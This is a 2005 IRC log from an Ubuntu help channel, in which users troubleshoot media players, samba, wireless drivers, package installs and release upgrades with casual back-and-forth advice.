vicessudo gedit gets me a GTK error07:28
AristoMagnusits nice07:28
vicescannot open display07:29
oceandeadnano07:29
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AristoMagnusu cannot open X windows in root07:29
thoreauputicAristoMagnus: gxine crashes here if I try top run it fullscreen - totem-xine doesn't07:30
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vicesis gedit a GUI editor?07:30
darkheartvices yes07:30
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AristoMagnusthoreauputic: ok!07:30
thrushslibs, are you using gnome?07:30
AristoMagnusg stand for gnome (libraries == GTK)07:30
ginventWhat does this mean: (98)Address already in use: make_sock: could not bind to address [::] :8007:30
ginventno listening sockets available, shutting down07:30
ginventUnable to open logs07:30
thoreauputicAristoMagnus: a pity, because gxine is quite nice otherwise07:30
ginventWhen I run apache207:31
AristoMagnusyep07:31
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AristoMagnustotem is great too07:31
NoUseginvent something is already using the HTTP port07:31
dinmplayer > *07:31
paganiniFor some reason, all my DVDs looked really bad in xine, and they look great in totem.07:31
paganiniHaven't figured that one out yet. Some weird setting I guess.07:31
slibsthrush, yes07:32
slibsalso i'd like to know how to start games not in fullscreen mode07:32
sorush20how do I fix this error APIC error on CPU0: 40(40)07:33
xlmanHello. Sorry. Exist any  irc chat in spanish about ubuntu?07:33
NoUse!spanish07:34
ubotuHispanohablantes: Por favor usen #ubuntu-es, alli obtendran mas ayuda.07:34
thrushslibs, when you alt-tab or look in taskbar the app isnt showing up?07:34
AristoMagnusNoUse: check with ps if apache or httpd runs07:34
ArsonideOk well, totem still can't open anything - but xine can.07:34
Arsonide:)07:34
xlmanMUchas gracias! Adios!07:34
ArsonideSo far I've tested an avi and a mov file.07:34
chrissturmhow do i best defragment an ext3 partition?07:34
NoUseAristoMagnus its ginvent that is having the problem, not me07:34
AristoMagnusArsonide: its a codecs problem,07:34
paganiniArsonide, you might need to install the totem-xine package.07:34
paganiniI think totem uses gstreamer by default.07:35
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AristoMagnus:ginvent check with ps if apache or httpd runs07:35
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jfosafantastic07:36
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thoreauputicchrissturm: you don't need to07:36
Arsonideawesome totem-xine did it07:36
Arsonide(I don't like xine that much anyway)07:36
paganini:)07:36
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chrissturmthoreauputic, i was just waiting for someone to say that. but its not really correct07:36
vicesubuntu looks really nice07:37
Arsonidevices: don't be fooled!07:37
Arsonidelol j/k07:37
AristoMagnusits the best desktop distro ever, i think07:37
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thoreauputicchrissturm: I haven't defragged a linux filesystem, ever07:37
chrissturmdo i need to copy all files do a different partition and back again?07:37
vicesis the red text when someone says vices: a feature of xchat?07:37
ArsonideYeah07:37
darkheartvices Highlighting..you can edit the options in the option menu =P07:37
thoreauputicchrissturm: I'm interested to hear why you need to defrag?07:37
vicesxchat is pretty nice :)07:38
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chrissturmthoreauputic, i copied a lot of files to a partition until it was full07:38
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viceswhat's the command to change my root password?07:38
paganiniThese smartlink modem driver sources say that I need the full kernel source tree downloaded and configured for it to work.07:38
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paganiniWhat exactly does "configured" mean?07:38
paganiniI don't use custom kernels.07:38
geneo93fschk07:38
chrissturmthoreauputic, once a partition is full the files are guaranteed to be fragmented07:38
deflux-I'm installing Ubuntu Hoary on my Mac Mini, and it appears that the keyboard mapping is wrong (I can't switch VTY's, can't CTRL+BREAK, etc).07:39
vices#ubuntu test07:39
deflux-Not sure how to change the keyboard mapping, how would I do this?07:39
geneo93paganini:  the one that matches the kernel your using07:39
thoreauputicchrissturm: OK - I bow to your knowledge :) I haven't come across the problem before07:39
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paganiniI'm using 2.6.10-5-68607:40
ArsonideMP3!07:40
ArsonideYAY07:40
paganiniAnd I have the "linux image" and "linux source" packages installed.07:40
paganiniIs that all I need to do?07:40
chrissturmthoreauputic, :) i know that ext3 is quite good regarding fragmentation, but this is a slow notebook harddisk.07:41
ArsonideThe Application "totem" has quit unexpectedly.07:41
Arsonide:(07:41
mpmcHow do I install QT?07:41
thoreauputicchrissturm: if I remember correctly there's a program called " defrag " for ext2 - so maybe you can disable the journal and use that?07:41
geneo93paganini:  you may need to expand the kernel source07:41
chrissturmthoreauputic, is it in universe?07:42
funkyHatmpmc, sudo apt-get install qt07:42
thoreauputic!info defrag07:42
ubotudefrag: (ext2, minix and xiafs filesystem defragmenter), section universe/admin, is extra. Version: 0.73pjm1-7 (hoary), Packaged size: 66 kB, Installed size: 208 kB07:42
chrissturmthx alot!07:42
thoreauputicchrissturm: yup :)07:42
funkyHatsorry, that's wrong mpmc ;)07:42
apokryphosmpmc: QT (quicktime) or Qt (the Q-toolkit)?07:42
apokryphosI guess you probably want the Qt-includes, too...07:43
mpmchttp://www.last.fm/forum/21714/_/4770107:43
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mpmcno idea :P07:43
mpmcI'm trying to get the last.fm player to work07:43
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Frafrahi all07:44
funkyHatmpmc, sudo apt-get install libqt3c102-mt07:44
ginventHow do I figure out what is doing this: (98)Address already in use: make_sock: could not bind to address [::] :8007:44
thoreauputicchrissturm:  tune2fs I think ( to change the journal)07:44
Frafrahow to install winmodem drivers?07:44
apokryphosbarely understand what's happening there. If they're referring to Qt, then qt 3.x is hardly bleeding edge07:44
apokryphos!qt07:44
ubotuapokryphos: I don't know, could you explain it?07:44
ginventlsof what?07:44
apokryphosgah07:45
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apokryphos!qt #del#07:45
ubotuQt is the Q-toolkit. Qt is to KDE what GTK is to GNOME. For the Qt includes, install the libqt3-mt-dev package07:45
thoreauputicapokryphos: no prizes for guessing ;)07:45
apokryphosubotu: qt is <reply> Qt is the Q-toolkit. Qt is to KDE what GTK is to GNOME. For the Qt includes, install the libqt3-mt-dev package07:45
ubotuokay, apokryphos07:45
paganiniWow. This is a lot of code.07:45
paganini36MB of source files.07:45
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vader1102evolution is messing me up, again...it isn't allowing me to send my email and it says it is connected07:46
mpmcfunkyHat: Its already installed the program wont launch.07:46
Frafra!winmodem07:46
ubotuFrafra: I haven't a clue07:46
Frafra!winmodems07:46
ubotuFrafra: I don't know, could you explain it?07:46
thoreauputicapokryphos: I agree - amazing that was deleted07:46
Frafra!linmodem07:46
ubotuFrafra: Bugger all, i dunno07:46
paganiniHEhe07:46
Frafra!linmodems07:46
paganini!smartlink07:46
ubotuFrafra: No idea07:46
ubotupaganini: Are you on ritalin?07:46
ArsonideHow do I allow the music player to use those mp3 codecs?07:46
apokryphosthoreauputic: /me doubts there'll be any confessions :/07:46
paganiniScuseme?!07:46
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vader1102any ideas?07:46
AristoMagnusvader1102: Try mozilla-thunderbird07:47
Arsonidebrb07:47
vader1102is it friendly to the "older " machines?07:48
AristoMagnusalso check if your SMTP server is right07:48
funkyHatmpmc, if you launch the program from a terminal, what error does it give?07:48
sexcopter8000mcan anyone tell me how to tell what my cd-rom drive is? i mean if it's hda, hdb, etc?07:48
vicesdarkheart is there a good internet radio program?07:48
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vader1102smtp is right, have been through the settings a few times and it only seems to do this when I am using my wireless card07:49
funkyHatsexcopter8000m, look at /etc/fstab07:49
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thrushvices, streamtuner07:49
DrTigerwhen can I upgrade to Breezy Badger unstable?07:49
sexcopter8000mfunkyHat: yep, just looked there... "i must think before asking stupid questions"07:49
sexcopter8000mty anyway07:49
funkyHatlol07:50
darkheartvices Yes, streamtuner07:50
slibsthrush, are you still there?, sorry i couldn't responce right away, the application what im looking for isn' there, but other applications are07:50
ArsonideUh, totem won't open any more.07:50
geneo93DrTiger:  now07:50
thrushvices, works with xmms i believe07:50
thoreauputicthrush: if you install streamtuner, get streamripper as well - it can rip your streams and put them in directories for you07:50
darkheartArsonide Try opening it from a terminal and check the output.07:50
ArsonideTotem crashed while it was playing an MP3, and a bug report popped up, the bug report froze or something so I closed everything myself.07:50
DrTigerhow?07:50
funkyHathow can i make the font that gnome-panel uses smaller?07:50
thoreauputicoops - vices that was for you ^^07:50
DrTigerI didn't found it in the wiki07:51
thoreauputicthrush: sorry07:51
thrushthoreauputic, havent looked at that yet thx07:51
Arsonideuh, the cursor moves down a line and then blinks slowly.07:51
thoreauputicah, OK07:51
vices:)07:51
DrTigerthe documentation is really confusing for me, but luckily you don't need a lot of docs with ubuntu, cause most things work07:51
thrushslibs, if you sudo ps -A does the program show up?07:51
vicesthis is the first time in a long time i've had such an easy experience as a newbie in a New irc channel :)07:51
vicesgotta go get laundry and stuff and head out to work, but thanks for the help guys!07:51
black_13i want to get a debian souce pacakge and build the binaries that package static how would i go about that07:52
DrTigerhow can I upgrade to breezy? Is there a wiki page for it?07:52
DrTigerbreezygoals does not give info on it07:52
apokryphos!update2breezy07:52
ubotuapokryphos: Bugger all, i dunno07:52
apokryphoshm07:52
thoreauputic!upgrade07:52
ubotuOne-line upgrade: sudo sed -e 's/warty/hoary/' -i /etc/apt/sources.list && sudo apt-get update && sudo apt-get dist-upgrade07:52
slibsthrush, as a wine or wineserver i think, it's running trouhg cedega07:52
slibstrough*07:52
thoreauputicDrTiger: substitute hoary/breezy07:53
geneo93DrTiger:  just change repos to breezy07:53
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slibsbut i already closed it07:53
apokryphosupgrade2breezy... that was it.07:53
paganiniARgh07:53
ArsonideWhat is going on with Totem..bah I just got it working too.07:53
slibsbut anyway, i'd like to know is there any other way, than alt-tab07:53
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thrushslibs, havent messed with gnome in a while in flux or blackbox you can middle click if you have 'minimized' and look under icons...07:55
thrushslibs, maybe someone else here can give you some advise =)07:55
AristoMagnusBreezy is stable? or this beta07:55
thrushslibs, err middle mouse button or scroll wheel07:56
mpmcAnyone here use Last.fm, That can help me?07:56
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mchammerbreezy is beta candidate 307:56
mchammerrelease07:56
ArsonideAlright nothing works now, not xine, not xmms, not totem...nothing. It was working while I played a .mov, then I played an mp3 and it crashed and everything died.07:56
mpmcwhats different in breezy?07:56
NoUse!breezy07:57
ubotubreezy is, like, totally, the next version of Ubuntu (5.10); released October 2005. It hasn't reached stable-status, so it can still be broken. A pictorial view of differences between Hoary & Breezy: http://members.home.nl/jeroen-91/ubuntu/breezy-new/07:57
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thoreauputicapokryphos: heh - re:meeting - beware the GMT != UTC trap (just realised I was looking at London time)07:57
funkyHataccelerated graphics for rendering normals stuff, more eye candy, newer versions of stuff07:57
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funkyHatthoreauputic, what's UTC?07:58
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AristoMagnusit should be more easy for new linux user, to let windows die!07:58
geneo93universal time07:58
thoreauputicfunkyHat: Universal time (GMT without the corrections for daylight saving etc)07:59
funkyHatoh right07:59
mpmcI'm gonna scream!07:59
funkyHatGMT == UTC in that case07:59
funkyHatit's BST that != UTC07:59
thoreauputicfunkyHat: no07:59
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funkyHatyes ;)07:59
thoreauputicfunkyHat: ah I see - OK07:59
funkyHatGMT doesn't change. the UK moves onto BST for summer08:00
ArsonideI guess I'll try a full reboot08:00
Arsonidebr08:00
mpmcAhhhh!!!!!!!! Damm last.fm... why is everything supported by Windoze and no Linux!08:00
Arsonideb08:00
thoreauputicso I should have said BST08:00
funkyHatyeh08:00
mpmcBST = British Standard time :)08:00
kspathanyone know where to get a PPC .deb of nvu?08:00
mpmc:P08:00
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thoreauputicfunkyHat: OK thanks08:00
funkyHatmpmc, no08:00
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funkyHatBST = british SUMMER time08:00
geneo93mpmc:  because gates is greedy08:01
mpmchahaha..08:01
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mpmcI cant listen to last.fm on linux!08:01
thoreauputicfunkyHat: I didn't know there *was* a summer in Britain *grin*08:01
geneo93fm what08:01
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mpmcwww.last.fm08:01
Firetechwhat does usermode +C mean (end of the topic)08:02
apokryphosthoreauputic: heh, sister decided to go on. Nearly forgot.08:02
NoUseFiretech blocks the spam bots08:02
apokryphosthoreauputic: meeting should start any sec :P08:02
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mpmcDie Windoze die!..08:03
FiretechNoUse: +E stops messages from unregged users, I don't know what +C means...08:03
thoreauputicapokryphos: in two hours I thought?08:03
geneo93mpmc:  you can with several things08:03
thoreauputicTue Aug 30 18:03:05 UTC 200508:03
apokryphosthoreauputic: oh d'oh! I thought UTC was one hour forward. Great :/08:03
GoClickDoes anyone know why my samba server wouldn't be broadcasting it's name to the network? It's config is viewable at http://paste.ubuntulinux.nl/174808:03
mpmcgeneo93 I can't08:03
thoreauputicapokryphos: :)08:03
apokryphosthoreauputic: would've helped if I actually thought about it 8)08:03
mpmcgeneo93: they've only allowing their player now :@08:03
NoUseFiretech CTCP block08:03
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FiretechNoUse: oh.08:04
mpmc:)08:04
geneo93mpmc:  pitch a bitch then08:04
funkyHatthoreauputic, there isn't ;)08:04
funkyHat^^08:04
mpmcgeneo93: What??08:04
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mpmcsomeone translate?08:05
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abarbacciahey - what's the quickest way to keep two directories synchronized08:05
abarbaccia?08:05
NoUseabarbaccia rsync08:05
thoreauputicfunkyHat: everyone thinks it's a heat wave if temp goes over 25 degrees C  ;)08:05
mpmcabarbaccia: draging and dropping/copy & paste :P08:05
abarbacciahahha thanks mpmc but i wanted something a little more intricate08:05
mpmclol, Ok.08:06
HappyFoolGoClick: can you ping windows machines from linux box and vice versa ? (using ip address if necessary)08:06
mpmcBye bye. everyone.08:06
afaikheh, can I ask a debian question here? For some reason I am banned from #debian08:06
mpmclol08:06
thoreauputicafaik: heh - ask and we'll see :)08:07
geneo93well you should flood08:07
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thoreauputicafaik: did you flood in #debian? Don't, please08:07
afaikheh08:08
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gwilymHello. I'm trying to format an external drive. Cfdisk seems to work, but then it gives me an error at the end, saying: "wrote partition table, but reread failed. Reboot to update table". I've tride restarting the disk, and restarting ubuntu, but without any luck. Any suggestions?08:08
ArsonideAlright totem is very unstable. I think it has something to do with audio quality though cause it crashes a lot with this particular MP3...and not with the one I'm playing now.08:08
afaiknah, I am running sid, recently did an apt-get upgrade08:08
afaikseems gftp is broken now08:08
afaikit works, but after a while will just instantly close :(08:08
kemikafaik:  go over to ubuntu08:08
funkyHatXD08:09
afaiknah08:09
thoreauputicafaik: if you are running sid you need to consult the BTS and you get to keep *both* pieces ;-)08:09
kemikand enjoy the benefits of a friendly community08:09
afaikI think i'll just change my sources to sarge and apt-get install it08:09
kemikandnot a bunch of stuckup morons with penis-envy-complex08:09
Firetechubuntu is a stable sid... kind of.08:09
afaiksid is mostly stable08:09
afaikbut occassionally breaks08:09
thoreauputicafaik: downgrading like that is not supported08:09
Firetechafaik: ubuntu stable doesn't.08:10
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afaikI would move to ubuntu, but I installed it and it made cd burning screwy08:10
afaikso I went back to debian08:10
Firetechuse k3b instead.08:10
lancer285can anyone tell me how to see which process is currently using the soundcard?08:10
Subsonixk3b is perfect08:10
abarbacciaafaik, use gnomebaker08:10
afaikI use k3b08:10
VarangerCan I update my system to breezy or should I stay with Hoary?08:10
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afaikbut that isn't the point08:10
thoreauputiclancer285: fuser /dev/dsp/*  I think08:10
zenroxVaranger,  stick with hoary08:11
afaikburning even from the commandline is slow in ubuntu08:11
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afaikit turneth my 24x cd burner to 4x08:11
thoreauputiclancer285: scratch that..08:11
lancer285thoreauputic, okay (:08:11
Varangerzenrox: Thanks!08:11
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zenroxafaik,  enable dma on your drive08:11
hamourabihi room08:11
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zenroxhello08:11
NoUselancer285 sudo fuser -v /dev/dsp08:12
funkyHatwho are you talking to?08:12
zenroxany one08:12
zenroxwho will lisen08:12
hamourabii'm trying to use my ubuntuas a gate way08:12
lancer285thanks08:12
funkyHatsorry, i'm just joking ;)08:12
Firetechafaik: ubuntu has dms disabled for CD dribes by default...08:12
Firetech*dma08:12
hamourabibut i need to edit a file in rc.d directery08:12
lancer285btw when I did fuser /dev/dsp it came up w/ the same process #08:12
hamourabibut i didn't find it08:12
zenroxya thare is a nice howto to enable dma on the forums08:12
thoreauputiclancer285:   fuser /dev/dsp08:13
lancer285thoreauputic, thanks2 got it!08:13
thoreauputiclancer285: I got the * wronf08:13
paganiniI think the problem here is that I don't know where ubuntu keeps the kernel08:13
funkyHathamourabi, install firestarted any use the wizard to set it up as a gateway08:13
paganiniIs it in /usr/src/ or is it in /lib/modules?08:13
funkyHat*firestarter08:13
paganiniBoth places have all kinds of scary kernel stuff.08:13
HappyFoolpaganini: the kernel itself is in /boot08:13
HappyFoolpaganini: what are you trying to do?08:13
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paganiniWell, yeah. But, for the purposes of compiling drivers.08:13
zenroxpaganini,  kernel = /boot for the binary kernel /lib/modules for modules08:14
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HappyFoolpaganini: install linux-headers-38608:14
paganiniThis makefile has a KERNEL_DIR entry that I'm supposed to fill in.08:14
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tahorgIs there any plan to get xorg 7.0RCx in breezy ?08:14
HappyFoolpaganini: i would guess that KERNEL_DIR should be /lib/modules/2.6.10-5-386/build08:14
paganiniI have linux-headers-386, 686, and linux-headers08:15
GoClickHappyFool yes08:15
paganiniOK08:15
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paganiniI don't think I was pointing it at the "build" sd08:15
GoClickHappyFool I can access the share as \\ipaddress\share but it doesn't show up in the browser, and it doesn't seem to broadcast08:15
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dell500can anoyne help me with my Belkin wireless card?08:15
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Spudchatoy08:15
HappyFoolGoClick: the workgroups are the same?08:15
GoClickHappyFool yes, and in XP you can browse across workgroups I can see all the other computers in all 3 of our workgroups08:16
GoClickWhich is why I think it's not broadcasting08:16
thoreauputicpaganini: sudo apt-get install linux-headers-$(uname -r)  will give an exact match for your kernel08:16
HappyFoolGoClick: are these workgroups or domains?08:16
GoClickworkgroups08:16
Spudchathi guys i gotta about external harddrives in ubuntu...i wanna buy a 40gb western digital08:16
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Spudchatbut it only has instruction for a pc and mac im assuming it will run does anybody know?08:17
paganiniwoot08:17
paganiniThat seems to have worked08:17
paganiniThanks Fool08:17
HappyFoolpaganini: np08:17
paganiniToreauputic: I already have a couple of different sets of headers leftover from when I upgraded to the 686 kernel.08:18
thoreauputicpaganini: OK :)08:18
zenroxpaganini,  remove the ones you ant using like the 386 ones08:18
geneo93Spudchat:  yes it will work08:18
HappyFoolGoClick: hmm. i haven't worked with normal workgroups for a while, but that sounds wrong08:18
HappyFoolGoClick: is the nmbd process running? 'pgrep nmbd' should tell you08:18
Spudchatthank you very much08:18
GoClickno it's not08:19
GoClickI don't think it's even in my init08:19
HappyFoolit should be started along with smbd08:19
zenroxGoClick,  then you need to install it08:19
paganiniWell, this is not very helpfull. modprobe won't load the driver.08:19
paganiniDmesg says Uknown Symbol08:19
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paganinifor get_device, put_device, etc.08:20
HappyFoolno, nmbd is in the samba package08:20
GoClickIt is installed08:20
HappyFoolif i do 'sudo /etc/init.d/samba start', both smbd and nmbd are started08:20
GoClickHappyFool I DO do that.08:20
HappyFoolGoClick: yeah, something is obviously screwy08:20
HappyFoolGoClick: look in /var/log/samba/log.nmbd08:21
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HappyFoolGoClick: any error messages or anything? (please don't paste more than 2 lines here -- use the pastebin instead)08:21
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GoClickNope08:22
dell500is there a way to get ndiswrapper to install without the 5.04 HH cd??08:22
GoClickEhhhh it seems to be fine nothing weird that I can see08:22
thoreauputic!info ndiswrapper08:22
zenrox!ndiswrapper08:22
ubotundiswrapper is, like, at https://wiki.ubuntu.com/HowToSetUpNdiswrapper08:22
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dell500i just did 'sudo apt-get install ndiswrapper*'08:23
darkheart!tell dell500 about addingrepositories08:23
thoreauputiczenrox: thanks08:23
GoClickI'm going to try and reboot and see if nmbd starts again08:23
zenroxthoreauputic,  n/p08:23
darkheart!tell dell500 about repositories08:23
HappyFoolGoClick: so you see a Netbios nameserver ... started' message there?08:23
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thoreauputicdell500: it isn't a package, ubotu says08:23
dell500darkheart, is there a way to add a repository for the whole cd??08:23
GoClickHappyFool I'll have to let you know when it comes back up I just rebooted08:23
dell500what, ndiswrapper??08:24
NoUsedell500 I believe you can do that in synaptic pretty easily08:24
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dell500well it's asking for the accual CD, and I can't seem to find it08:24
thoreauputicdell500: I assume you need extra repos or something08:24
dell500i have the live disk, but that won't work08:24
darkheartdell500 Yes, just comment out the cd line in your /etc/apt/sources.list file and use a repository from the net.08:24
dell500ah ha08:24
dell500k08:24
geneo93remove it from list then08:25
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XandriXwhats the name of that app to oc nvidia graphic cards again ?08:25
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dell500this is at the top...08:26
dell500deb cdrom:[Ubuntu 5.04 _Hoary Hedgehog_ - Release i386 (20050407)] / hoary main restricted08:26
geneo93nvclock08:26
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NoUsedell500 yeah to get rid of the CD repository, just delete that line08:26
GoClickIs there an easy way to get hardware acceleration going? It seems Ubuntu (5.04) didn't setup my GeForce FX 5500 on install, I really only care because my screensavers are all choppy ;)08:26
dell500i'll just comment it out08:26
geneo93# it out then08:26
NoUse!tell GoClick about nvidia08:27
zenrox!nvidia08:27
ubotufrom memory, nvidia is at https://wiki.ubuntu.com/BinaryDriverHowto/Nvidia08:27
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geneo93GoClick:  sudo apt-get install nvidia-glx08:27
keksladenhi08:27
dell500anyone know of a legit site that has the whole cd on repo??08:28
darkheart!tell dell500 about 96908:28
linux_mafialegit? heh08:28
NoUsedell500 yeah its call the official ubuntu repositories08:28
keksladenmay anybody tell me why my mouse wheel won't work?08:29
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keksladeni cant find any option to switch it on or something else..08:29
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darkheartdell500 http://pastebin.ubuntulinux.nl/969 That will have most repos you will need. Comment/uncomment them as you see fit.08:29
GoClickHappyFool It seems that nmbd doesn't start when samba starts08:29
ezerhodenkeksladen, zaxis08:29
dell500E: Could not get lock /var/lib/dpkg/lock - open (11 Resource temporarily unavailable)08:29
dell500E: Unable to lock the administration directory (/var/lib/dpkg/), is another process using it?08:29
boedekermy school uses PEAP to connect to their wireless network, how do i get this to work?08:29
dell500this is no good, i accidently closed the shell that was open, and it was still waiting for the cd...08:30
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HappyFoolGoClick: i.e., no start message in the log file?08:30
apokryphosdell500: close any instances of synaptic/apt-processes08:30
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dell500how?08:30
dell500like kill -??? apt-processes08:30
GoClickHappyFool I'm rebooting again for the nVidia stuff so give me just a second and I'll let you know.08:30
NoUsedell500 killall apt-get08:30
apokryphosdell500: no... what apt process is running?08:30
apokryphosdell500: synaptic/08:30
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geneo93dell500:  you cant use synaptic and apt at same time08:30
keksladenezerhoden, where i can set the zaxis? (gnome)08:30
dell500apokryphos, no, i just did the command line 'sudo apt-get install ndiswrapper*'08:31
HappyFoolGoClick: do you have a WINS server running? I see 'wins support=yes'08:31
apokryphosdell500: did it finish successfully?08:31
dell500no08:31
dell500it was waiting for the cd08:31
apokryphosdell500: what happened?08:31
NoUsedell500 killall apt-get08:31
thoreauputicompaul: I see you are now a wftl fanboy *grin*08:31
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ezerhodenkeksladen, it is in you xorg.conf08:31
GoClickHappyFool yes08:31
ezerhodenlooking08:31
apokryphosdell500: you probably closed the terminal, I gather..08:31
GoClickHappyFool however I don't know as that that's all that nessisary because it's an XP network08:31
keksladenezerhoden, ahh.. thx!08:31
apokryphosdell500: well, you should never have to do that. If you really have to end a process, press Ctrl+C08:31
HappyFoolGoClick: you're sure?08:31
dell500apokryphos,  ya08:31
boedekerI need help connecting to my school's PEAP wireless netowrk.08:32
GoClickHappyFool let me check the config the system just came up08:32
ompaulthoreauputic, well that is one way to put it08:32
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GoClickHappyFool wins support = yes08:32
thoreauputicompaul: heh - just kidding ;)08:32
geneo93ctrl c quits apt if you have terminal open08:32
graabeinmy usb/firewire ports are not working okay after the first umount08:32
HappyFoolGoClick: yeah, i've still got the pastebin from earlier open08:32
dell500ya, i guess it worked and installed08:32
graabeinhow do i get them to start again without reboot08:32
HappyFoolGoClick: i mean, are you sure you need it?08:32
GoClickNo I'm not sure08:33
ompaulthoreauputic, interesting, if we could get them all to use ubuntu instead of $linux we sould be doing well :)08:33
Bad_Magicdoes the ubuntu install image have any software that can resize ntfs?08:33
GoClickHappyFool I cleaned out the nmbd log and rebooted and nmbd didn't start and the log is empty08:33
HappyFoolGoClick: hrm08:33
thoreauputicompaul: ah, well... I think advocacy is deprecated on that list ;-)08:33
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apokryphosBad_Magic: on the install, yes. Other GUI ones: no, AFAIK.08:33
HappyFoolGoClick: what happens if you do 'sudo /etc/init.d/samba restart' ?08:34
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ompaulwell first we get their respect and then say naaa don't use that try ubuntu :-)08:34
thoreauputicompaul: and you'll never convert the old Slackers08:34
NoUseBad_Magic gparted might, you'll need to use synaptic to get it08:34
ompaulthe convince themselves08:35
GoClickHappyFool the log is still empty and the process is still not running08:35
boedekerWill someone help me deal with my schools wireless PEAP network?08:35
HappyFoolGoClick: ok, and no error messages on the screen?08:35
GoClickNope08:35
Bad_Magicalso, does anyone have any experience installing ubuntu on an inspiron 9100? =x08:35
thoreauputicboedeker: I think you need to ask a specific question08:35
thoreauputic!tell boedeker about ask08:36
HappyFoolGoClick: very odd08:36
HappyFoolGoClick: have you done any other alterations to the configuration?08:36
NoUseBad_Magic I bet if you google you'll find something08:36
GoClickGoClick nope that's the config I'm using, the one on the pastebin.08:37
GoClickI guess I can add an nmbd start to the init that's no big deal08:37
Bad_Magicyea, i have been... im more curious about ndiswrapper and HT08:37
HappyFoolGoClick: i mean, have you changed the default settings other than changing smb.conf08:37
GoClickHappyFool I'm not sure I know what you mean08:38
HappyFoolGoClick: you could, but it should work; something is apparently broken08:38
Bad_Magicthats what stopped me from putting nix on here to start with08:38
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HappyFoolGoClick: i am trying to find out how you have changed the samba configuration08:38
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JazyLNXhey anyone have any knowledge of how to get wine going? in ubuntu, i'm seeing it's not in the repors08:38
JazyLNXrepos*08:38
GoClickHappyFool I couldn't say for sure, when I set it up I opened the file deleted all of the default stuff and set up what I thought I needed08:38
NoUse!info wine08:39
HappyFoolGoClick: hrm08:39
ubotuwine: (Windows Emulator (Binary Emulator)), section universe/otherosfs, is optional. Version: 0.0.20050310-1.1 (hoary), Packaged size: 1248 kB, Installed size: 2596 kB08:39
NoUse!tell JazyLNX about repos08:39
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boedekermy school has a wireless network that's EAP type is Protected EAP. When i go to configure ubuntu using the gnome interface it only allows me to use WEP. How do I add EAP as an authentication method?08:40
Gnonthgolboedeker: try using the command line tool iwconfig08:40
HappyFoolGoClick: afaict the 'wins supprt = yes' causes nmbd to act like a wins server -- is this what you want?08:40
thoreauputicgeneral plea: please people, don't /msg  pm without asking08:41
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GoClickHappyFool I can't say for sure but this machine is kind of a portable server it nees to go to Win98 places and be able to tell all the lil 98 machines about all the other 98 machines08:41
thoreauputic!tell wong about ask08:41
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boedekerGnonthogol: ok i typed iwconfig. now what do i need to do?08:42
slibshey, i have question of themes, for an example this one: http://www.gnomelook.org/content/show.php?content=28367 <- i can get the colors, but i can't get the theme look like that at all, same with the other themes, ubuntu's normal theme support won't work fully with those themes, the windows border thing won't show up, so what should i do to get those themes to work?08:42
bratscheHow do I go about rebuilding a package's source?08:42
keksladenmay anybody tell me why my mouse wheel won't work? there is no option to set the mouse wheel (gnome)08:42
HappyFoolGoClick: hm. ok, i suggest you backup this config file, restore the original smb.conf and see if that more-or-less works (i.e, nmbd starts); then gradually change it to your desired configuration08:43
geneo93man dpkg08:43
NoUse!compiling08:43
thrushslibs, check out the faq at art.gnome.org08:43
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bratscheThanks.08:43
dell500does this mean my chipset for my wireless card is ... 0000:01:07.0 Network controller: Broadcom Corporation: Unknown device 4318 (rev 02)08:43
dell500so chipset Bradcom Corp - 4318 rev 2??08:44
dell500and that's the driver i need for my card, correct?08:44
Spudchatallright on more question... can ubuntu and windows read and write to a fat32 formatted external hdd?08:44
NoUsedell500 I sent you a link for the driver you need yesterday08:44
dell500io know, can you send it agin08:44
dell500i'm gonna be late for class08:44
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dell500i understand what i need to do now lol08:44
NoUsedell500 I found it on google08:44
dell500thanks08:44
dell500could you send me a link?08:44
dell500i think i lost it08:45
geneo93Spudchat:  yes08:45
NoUsedell500 just do a 5 second search, you'll find it08:45
Spudchatlol ty again :)08:45
JazyLNXi went to synaptic to add the multiunivers and the unvierse and when i check them and exit. it will say it needs to update. but still wine not found.. and when i go back they are UNchecked again.08:45
boedekerhow do i make changes using iwconfig?08:45
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dell500peace08:45
NoUseJazyLNX did you update/reload in synaptic?08:45
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GoClickHappyFool I think I'll just add something to start it ;-)08:46
keksladenmy mouse wheel won't work.. plz.. i need help!08:46
JazyLNXyes08:46
HappyFoolGoClick: fair enough08:46
keksladenimaging a live without the mouse wheel *cry*08:46
NoUsekeksladen try this https://wiki.ubuntu.com/ManyButtonsMouseHowto?highlight=%28mouse%2908:46
ompaul!tell thrush about conduct08:46
boedekerWhere do I go first if I want to configure my wireless connection?08:47
NoUseJazyLNX paste your /etc/apt/sources.list to pastebin08:47
NoUse!tell JazyLNX about pastebin08:47
Butcherbird_Jryeh you tell him08:47
keksladenNoUse, thx08:47
ArsonideOk now I have AMD64, so if a game on this list ( http://ubuntuforums.org/showthread.php?t=5153 ) says "Platform - x86" does that mean I can't use it?08:47
JazyLNXty08:47
NoUseubotu wheelmouse is at https://wiki.ubuntu.com/ManyButtonsMouseHowto08:48
ubotuNoUse: okay08:48
deflux-Anyone here using ubuntu on a mac mini?  I'm running into all kinds of problems.08:48
NgArsonide: some things will work just with the ia32-libs package, but for some things you will end up needing a 32bit chroot. It should all still work fine though08:48
AristoMagnusNg: is it hard to do a 32bit chroot ?08:48
NgArsonide: (x86 things that is, obviously PPC is never going to work)08:48
NgAristoMagnus: it's pretty easy :)08:48
ArsonideSo try it without anything first, and come back here when I do have a problem?08:49
AristoMagnusNg: nice! do you have a website to point me the information, i want to rip dvd over linux,08:49
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AristoMagnusdvd libs doesnt work on 64bit, also Flash08:49
slibsdeflux-, im just curious, why are you using ubuntu if you have mac os?08:49
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AristoMagnusslibs: who says he have MAc OS ;) he says he got mini mac08:50
NgAristoMagnus: https://wiki.ubuntu.com/DebootstrapChroot although tbh that's a little overcomplex08:50
NgAristoMagnus: http://digital-conquest.ath.cx/wiki/index.php/Ubuntu#Building_a_clean_32bit_chroot_with_debbootstrap_on_AMD64 - a possible alternative08:51
AristoMagnusok08:51
AristoMagnusthanks08:51
AristoMagnuswhich one is the best one08:51
slibsusually mac does have an operating system?08:51
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AristoMagnussure08:52
AristoMagnusmac os is Unix08:52
Madeyeguys, I have installed very annoying package, I want to remove it, but I don't know it's name, I have install it before months and now I want to remove it, the package Display some Ascii on boot up, any idea what is that package?08:52
slibsbut of course  i can't know which one it is08:52
NgAristoMagnus: the former does more to explain what you are doing, the latter is simpler because it's just a list of commands, but it may not explain what you are doing, if you care :)08:52
oceandeadim trying to get ubuntu to mount a w**doze share automagically at boot (with rw for all) - i can get it to mount - but only root can write to it - here is my line in fstab:  //ip/share       /media/share  smbfs  username=xxx,password=xxx,umask=00008:52
